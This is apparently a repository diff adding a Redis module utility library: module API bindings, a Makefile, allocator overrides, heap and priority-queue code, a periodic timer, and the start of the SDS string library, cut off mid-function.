REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
REDISMODULE_GET_API(CreateDict);
REDISMODULE_GET_API(FreeDict);
REDISMODULE_GET_API(DictSize);
REDISMODULE_GET_API(DictSetC);
REDISMODULE_GET_API(DictReplaceC);
REDISMODULE_GET_API(DictSet);
REDISMODULE_GET_API(DictReplace);
REDISMODULE_GET_API(DictGetC);
REDISMODULE_GET_API(DictGet);
REDISMODULE_GET_API(DictDelC);
REDISMODULE_GET_API(DictDel);
REDISMODULE_GET_API(DictIteratorStartC);
REDISMODULE_GET_API(DictIteratorStart);
REDISMODULE_GET_API(DictIteratorStop);
REDISMODULE_GET_API(DictIteratorReseekC);
REDISMODULE_GET_API(DictIteratorReseek);
REDISMODULE_GET_API(DictNextC);
REDISMODULE_GET_API(DictPrevC);
REDISMODULE_GET_API(DictNext);
REDISMODULE_GET_API(DictPrev);
REDISMODULE_GET_API(DictCompare);
REDISMODULE_GET_API(DictCompareC);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(GetBlockedClientHandle);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SetDisconnectCallback);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
REDISMODULE_GET_API(BlockedClientDisconnected);
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
REDISMODULE_GET_API(SendClusterMessage);
REDISMODULE_GET_API(GetClusterNodeInfo);
REDISMODULE_GET_API(GetClusterNodesList);
REDISMODULE_GET_API(FreeClusterNodesList);
REDISMODULE_GET_API(CreateTimer);
REDISMODULE_GET_API(StopTimer);
REDISMODULE_GET_API(GetTimerInfo);
REDISMODULE_GET_API(GetMyClusterID);
REDISMODULE_GET_API(GetClusterSize);
REDISMODULE_GET_API(GetRandomBytes);
REDISMODULE_GET_API(GetRandomHexChars);
REDISMODULE_GET_API(SetClusterFlags);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */
+31
View File
@@ -0,0 +1,31 @@
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
CFLAGS += -I$(RM_INCLUDE_DIR)
CC=gcc
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
all: librmutil.a
clean:
rm -rf *.o *.a
librmutil.a: $(OBJS)
ar rcs $@ $^
test_vector: test_vector.o vector.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_vector
test_periodic: test_periodic.o periodic.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_periodic
test: test_periodic test_vector
.PHONY: test
+32
View File
@@ -0,0 +1,32 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "alloc.h"
/* A patched implementation of strdup that will use our patched calloc */
char *rmalloc_strndup(const char *s, size_t n) {
char *ret = calloc(n + 1, sizeof(char));
if (ret)
memcpy(ret, s, n);
return ret;
}
/*
* Re-patching RedisModule_Alloc and friends to the original malloc functions
*
* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main().
*
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
* replaces all malloc functions in redis with the RM_Alloc family of functions,
* when running that code outside of redis, your app will crash. This function
* patches the RM_Alloc functions back to the original mallocs. */
void RMUTil_InitAlloc() {
RedisModule_Alloc = malloc;
RedisModule_Realloc = realloc;
RedisModule_Calloc = calloc;
RedisModule_Free = free;
RedisModule_Strdup = strdup;
}
+51
View File
@@ -0,0 +1,51 @@
#ifndef __RMUTIL_ALLOC__
#define __RMUTIL_ALLOC__
/* Automatic Redis Module Allocation functions monkey-patching.
*
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
* override malloc, calloc, realloc & free with RedisModule_Alloc,
* RedisModule_Callc, etc implementations, that allow Redis better control and
* reporting over allocations per module.
*
* You should include this file in all c files AS THE LAST INCLUDED FILE
*
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
* defined. The idea is that for unit tests it will not be defined, but for the
* module build target it will be.
*
*/
#include <stdlib.h>
#include <redismodule.h>
char *rmalloc_strndup(const char *s, size_t n);
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
#define malloc(size) RedisModule_Alloc(size)
#define calloc(count, size) RedisModule_Calloc(count, size)
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
#define free(ptr) RedisModule_Free(ptr)
#ifdef strdup
#undef strdup
#endif
#define strdup(ptr) RedisModule_Strdup(ptr)
/* More overriding */
// needed to avoid calling strndup->malloc
#ifdef strndup
#undef strndup
#endif
#define strndup(s, n) rmalloc_strndup(s, n)
#else
#endif /* REDIS_MODULE_TARGET */
/* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main() */
void RMUTil_InitAlloc();
#endif /* __RMUTIL_ALLOC__ */
+107
View File
@@ -0,0 +1,107 @@
#include "heap.h"
/* Byte-wise swap two items of size SIZE. */
#define SWAP(a, b, size) \
do \
{ \
register size_t __size = (size); \
register char *__a = (a), *__b = (b); \
do \
{ \
char __tmp = *__a; \
*__a++ = *__b; \
*__b++ = __tmp; \
} while (--__size > 0); \
} while (0)
inline char *__vector_GetPtr(Vector *v, size_t pos) {
return v->data + (pos * v->elemSize);
}
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
size_t len = last - first;
if (len > 1) {
len = (len - 2) / 2;
size_t ptr = first + len;
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
char t[v->elemSize];
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
do {
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
last = ptr;
if (len == 0)
break;
len = (len - 1) / 2;
ptr = first + len;
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
}
}
}
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
// left-child of __start is at 2 * __start + 1
// right-child of __start is at 2 * __start + 2
size_t len = last - first;
size_t child = start - first;
if (len < 2 || (len - 2) / 2 < child)
return;
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
// we are, __start is larger than it's largest child
return;
char top[v->elemSize];
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
do {
// we are not in heap-order, swap the parent with it's largest child
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
start = first + child;
if ((len - 2) / 2 < child)
break;
// recompute the child based off of the updated parent
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
}
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
// start from the first parent, there is no need to consider children
for (int start = (last - first - 2) / 2; start >= 0; --start) {
__sift_down(v, first, last, cmp, first + start);
}
}
}
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
__sift_up(v, first, last, cmp);
}
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
__sift_down(v, first, last, cmp, first);
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __HEAP_H__
#define __HEAP_H__
#include "vector.h"
/* Make heap from range
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
* push_heap).
* The element with the highest value is always pointed by first. The order of the other elements depends on the
* particular implementation, but it is consistent throughout all heap-related functions of this header.
* The elements are compared using cmp.
*/
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Push element into heap range
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
* placing the value in (last-1) into its corresponding location within it.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Pop element from heap range
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
* by one: The element with the highest value is moved to (last-1).
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
#endif //__HEAP_H__
+11
View File
@@ -0,0 +1,11 @@
#ifndef __RMUTIL_LOGGING_H__
#define __RMUTIL_LOGGING_H__
/* Convenience macros for redis logging */
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
#endif
+88
View File
@@ -0,0 +1,88 @@
#define REDISMODULE_EXPERIMENTAL_API
#include "periodic.h"
#include <pthread.h>
#include <stdlib.h>
#include <errno.h>
typedef struct RMUtilTimer {
RMutilTimerFunc cb;
RMUtilTimerTerminationFunc onTerm;
void *privdata;
struct timespec interval;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
} RMUtilTimer;
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
struct timespec ret;
ret.tv_sec = a->tv_sec + b->tv_sec;
long long ns = a->tv_nsec + b->tv_nsec;
ret.tv_sec += ns / 1000000000;
ret.tv_nsec = ns % 1000000000;
return ret;
}
static void *rmutilTimer_Loop(void *ctx) {
RMUtilTimer *tm = ctx;
int rc = ETIMEDOUT;
struct timespec ts;
pthread_mutex_lock(&tm->lock);
while (rc != 0) {
clock_gettime(CLOCK_REALTIME, &ts);
struct timespec timeout = timespecAdd(&ts, &tm->interval);
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
// Create a thread safe context if we're running inside redis
RedisModuleCtx *rctx = NULL;
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
// call our callback...
tm->cb(rctx, tm->privdata);
// If needed - free the thread safe context.
// It's up to the user to decide whether automemory is active there
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
}
if (rc == EINVAL) {
perror("Error waiting for condition");
break;
}
}
// call the termination callback if needed
if (tm->onTerm != NULL) {
tm->onTerm(tm->privdata);
}
// free resources associated with the timer
pthread_cond_destroy(&tm->cond);
free(tm);
return NULL;
}
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
t->interval = newInterval;
}
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval) {
RMUtilTimer *ret = malloc(sizeof(*ret));
*ret = (RMUtilTimer){
.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
};
pthread_cond_init(&ret->cond, NULL);
pthread_mutex_init(&ret->lock, NULL);
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
return ret;
}
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
return pthread_cond_signal(&t->cond);
}
+46
View File
@@ -0,0 +1,46 @@
#ifndef RMUTIL_PERIODIC_H_
#define RMUTIL_PERIODIC_H_
#include <time.h>
#include <redismodule.h>
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
/* RMUtilTimer - opaque context for the timer */
struct RMUtilTimer;
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
* pre-existing private data */
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval);
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
* and free the timer after stopping.
*
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
* timer's callback is waiting for the redis global lock.
* Instead you should make sure any resources are freed by the callback after the thread loop is
* finished.
*
* The timer is freed automatically, so the callback doesn't need to do anything about it.
* The callback gets the timer's associated privdata as its argument.
*
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
* callback, as it may log stuff or free global resources.
*/
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
Free the timer context. The caller should be responsible for freeing the private data at this
* point */
// void RMUtilTimer_Free(struct RMUtilTimer *t);
#endif
@@ -0,0 +1,36 @@
#include "priority_queue.h"
#include "heap.h"
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
pq->v = __newVectorSize(elemSize, cap);
pq->cmp = cmp;
return pq;
}
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
return Vector_Size(pq->v);
}
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
return Vector_Get(pq->v, 0, ptr);
}
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
size_t top = __vector_PushPtr(pq->v, elem);
Heap_Push(pq->v, 0, top, pq->cmp);
return top;
}
inline void Priority_Queue_Pop(PriorityQueue *pq) {
if (pq->v->top == 0) {
return;
}
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
pq->v->top--;
}
void Priority_Queue_Free(PriorityQueue *pq) {
Vector_Free(pq->v);
free(pq);
}
@@ -0,0 +1,55 @@
#ifndef __PRIORITY_QUEUE_H__
#define __PRIORITY_QUEUE_H__
#include "vector.h"
/* Priority queue
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
* retrieved (the one at the top in the priority queue).
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
* of the priority queue.
*/
typedef struct {
Vector *v;
int (*cmp)(void *, void *);
} PriorityQueue;
/* Construct priority queue
* Constructs a priority_queue container adaptor object.
*/
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
/* Return size
* Returns the number of elements in the priority_queue.
*/
size_t Priority_Queue_Size(PriorityQueue *pq);
/* Access top element
* Copy the top element in the priority_queue to ptr.
* The top element is the element that compares higher in the priority_queue.
*/
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
/* Insert element
* Inserts a new element in the priority_queue.
*/
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
/* Remove top element
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
* one with the highest value.
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
*/
void Priority_Queue_Pop(PriorityQueue *pq);
/* free the priority queue and the underlying data. Does not release its elements if
* they are pointers */
void Priority_Queue_Free(PriorityQueue *pq);
#endif //__PRIORITY_QUEUE_H__
+1274
View File
@@ -0,0 +1,1274 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include "sds.h"
#include "sdsalloc.h"
static inline int sdsHdrSize(char type) {
switch(type&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return sizeof(struct sdshdr5);
case SDS_TYPE_8:
return sizeof(struct sdshdr8);
case SDS_TYPE_16:
return sizeof(struct sdshdr16);
case SDS_TYPE_32:
return sizeof(struct sdshdr32);
case SDS_TYPE_64:
return sizeof(struct sdshdr64);
}
return 0;
}
static inline char sdsReqType(size_t string_size) {
if (string_size < 32)
return SDS_TYPE_5;
if (string_size < 0xff)
return SDS_TYPE_8;
if (string_size < 0xffff)
return SDS_TYPE_16;
if (string_size < 0xffffffff)
return SDS_TYPE_32;
return SDS_TYPE_64;
}
/* Create a new sds string with the content specified by the 'init' pointer
* and 'initlen'.
* If NULL is used for 'init' the string is initialized with zero bytes.
*
* The string is always null-termined (all the sds strings are, always) so
* even if you create an sds string with:
*
* mystring = sdsnewlen("abc",3);
*
* You can print the string with printf() as there is an implicit \0 at the
* end of the string. However the string is binary safe and can contain
* \0 characters in the middle, as the length is stored in the sds header. */
sds sdsnewlen(const void *init, size_t initlen) {
void *sh;
sds s;
char type = sdsReqType(initlen);
/* Empty strings are usually created in order to append. Use type 8
* since type 5 is not good at this. */
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp; /* flags pointer. */
sh = s_malloc(hdrlen+initlen+1);
if (!init)
memset(sh, 0, hdrlen+initlen+1);
if (sh == NULL) return NULL;
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;
}
/* Create an empty (zero length) sds string. Even in this case the string
* always has an implicit null term. */
sds sdsempty(void) {
return sdsnewlen("",0);
}
/* Create a new sds string starting from a null terminated C string. */
sds sdsnew(const char *init) {
size_t initlen = (init == NULL) ? 0 : strlen(init);
return sdsnewlen(init, initlen);
}
/* Duplicate an sds string. */
sds sdsdup(const sds s) {
return sdsnewlen(s, sdslen(s));
}
/* Free an sds string. No operation is performed if 's' is NULL. */
void sdsfree(sds s) {
if (s == NULL) return;
s_free((char*)s-sdsHdrSize(s[-1]));
}
/* Set the sds string length to the length as obtained with strlen(), so
* considering as content only up to the first null term character.
*
* This function is useful when the sds string is hacked manually in some
* way, like in the following example:
*
* s = sdsnew("foobar");
* s[2] = '\0';
* sdsupdatelen(s);
* printf("%d\n", sdslen(s));
*
* The output will be "2", but if we comment out the call to sdsupdatelen()
* the output will be "6" as the string was modified but the logical length
* remains 6 bytes. */
void sdsupdatelen(sds s) {
int reallen = strlen(s);
sdssetlen(s, reallen);
}
/* Modify an sds string in-place to make it empty (zero length).
* However all the existing buffer is not discarded but set as free space
* so that next append operations will not require allocations up to the
* number of bytes previously available. */
void sdsclear(sds s) {
sdssetlen(s, 0);
s[0] = '\0';
}
/* Enlarge the free space at the end of the sds string so that the caller
* is sure that after calling this function can overwrite up to addlen
* bytes after the end of the string, plus one more byte for nul term.
*
* Note: this does not change the *length* of the sds string as returned
* by sdslen(), but only the free buffer space we have. */
sds sdsMakeRoomFor(sds s, size_t addlen) {
void *sh, *newsh;
size_t avail = sdsavail(s);
size_t len, newlen;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
/* Return ASAP if there is enough space left. */
if (avail >= addlen) return s;
len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
newlen = (len+addlen);
if (newlen < SDS_MAX_PREALLOC)
newlen *= 2;
else
newlen += SDS_MAX_PREALLOC;
type = sdsReqType(newlen);
/* Don't use type 5: the user is appending to the string and type 5 is
* not able to remember empty space, so sdsMakeRoomFor() must be called
* at every appending operation. */
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+newlen+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
/* Since the header size changes, need to move the string forward,
* and can't use realloc */
newsh = s_malloc(hdrlen+newlen+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, newlen);
return s;
}
/* Reallocate the sds string so that it has no free space at the end. The
* contained string remains not altered, but next concatenation operations
* will require a reallocation.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdsRemoveFreeSpace(sds s) {
void *sh, *newsh;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
size_t len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
type = sdsReqType(len);
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+len+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
newsh = s_malloc(hdrlen+len+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, len);
return s;
}
/* Return the total size of the allocation of the specifed sds string,
* including:
* 1) The sds header before the pointer.
* 2) The string.
* 3) The free buffer at the end if any.
* 4) The implicit null term.
*/
size_t sdsAllocSize(sds s) {
size_t alloc = sdsalloc(s);
return sdsHdrSize(s[-1])+alloc+1;
}
/* Return the pointer of the actual SDS allocation (normally SDS strings
* are referenced by the start of the string buffer). */
void *sdsAllocPtr(sds s) {
return (void*) (s-sdsHdrSize(s[-1]));
}
/* Increment the sds length and decrements the left free space at the
* end of the string according to 'incr'. Also set the null term
* in the new end of the string.
*
* This function is used in order to fix the string length after the
* user calls sdsMakeRoomFor(), writes something after the end of
* the current string, and finally needs to set the new length.
*
* Note: it is possible to use a negative increment in order to
* right-trim the string.
*
* Usage example:
*
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
* following schema, to cat bytes coming from the kernel to the end of an
* sds string without copying into an intermediate buffer:
*
* oldlen = sdslen(s);
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
* nread = read(fd, s+oldlen, BUFFER_SIZE);
* ... check for nread <= 0 and handle it ...
* sdsIncrLen(s, nread);
*/
void sdsIncrLen(sds s, int incr) {
unsigned char flags = s[-1];
size_t len;
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
len = oldlen+incr;
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
